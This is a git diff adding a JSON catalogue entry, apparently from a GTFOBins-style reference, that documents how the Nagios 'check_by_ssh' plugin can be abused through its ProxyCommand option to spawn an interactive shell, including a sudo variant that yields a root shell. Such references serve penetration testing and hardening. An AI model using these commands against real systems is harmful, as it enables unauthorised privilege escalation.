diff --git a/data/check_by_ssh.json b/data/check_by_ssh.json new file mode 100644 index 0000000..37a7a76 --- /dev/null +++ b/data/check_by_ssh.json @@ -0,0 +1,17 @@ +{ + "description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n", + "functions": { + "shell": [ + { + "description": "The shell will only last 10 seconds.", + "code": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx" + } + ], + "sudo": [ + { + "description": "The shell will only last 10 seconds.", + "code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx" + } + ] + } +}